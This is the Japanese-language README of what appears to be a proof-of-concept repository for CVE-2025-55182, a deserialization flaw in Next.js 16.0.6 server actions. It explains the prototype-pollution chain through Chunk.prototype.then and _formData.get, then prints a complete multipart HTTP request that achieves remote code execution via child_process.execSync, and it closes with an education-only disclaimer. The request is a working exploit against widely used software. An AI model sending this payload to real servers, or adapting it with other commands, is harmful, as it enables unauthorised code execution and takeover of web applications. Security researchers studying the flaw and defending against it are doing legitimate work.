このリポジトリには、Next.js 16.0.6 に影響を及ぼす重大なデシリアライゼーション脆弱性 CVE-2025-55182 の実用的な概念実証(POC)が含まれています。このエクスプロイトは、$@ チャンクのデシリアライゼーションと Chunk.prototype.then を悪用して、チャンク解決プロセスの完全な制御を取得し、サーバー上で**任意コード実行(RCE)**を達成します。
Next.js は、サーバーアクションのために内部の Chunk オブジェクトとストリーミング/デシリアライゼーションメカニズムを使用します。
$@ を悪用して Chunk 参照 をデシリアライズし、Chunk.prototype.then をルートオブジェクトに注入することで、攻撃者は以下を実行できます:
this で then(...) を呼び出させるstatus を resolved_model に設定するinitializeModelChunk をトリガーするchunk._response メソッドを悪用して危険な内部動作に到達する最終目標は、次のような呼び出しを実行する Blob デシリアライゼーション をトリガーすることです:
response._formData.get(response._prefix)
response._formData.get = Function を設定し、response._prefix に任意のコードを配置することで、攻撃者は任意のシステムコマンドを実行できます。
poc/CVE-2025-55182.http 内の HTTP リクエストは、ローカルで動作している Next.js 16.0.6 に対するエクスプロイトを示しており、child_process.execSync 経由で xcalc を起動します:
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
/
├── README.md
├── DISCLAIMER.md
├── poc/
│ └── CVE-2025-55182.http
└── analysis/
└── exploitation-notes.md
このプロジェクトは、教育および研究目的のみ に提供されています。所有していないシステム、または明示的な書面によるテストの許可を得ていないシステムに対して、このエクスプロイトを使用しないでください。
著者は、誤用または生じた損害について一切の責任を負いません。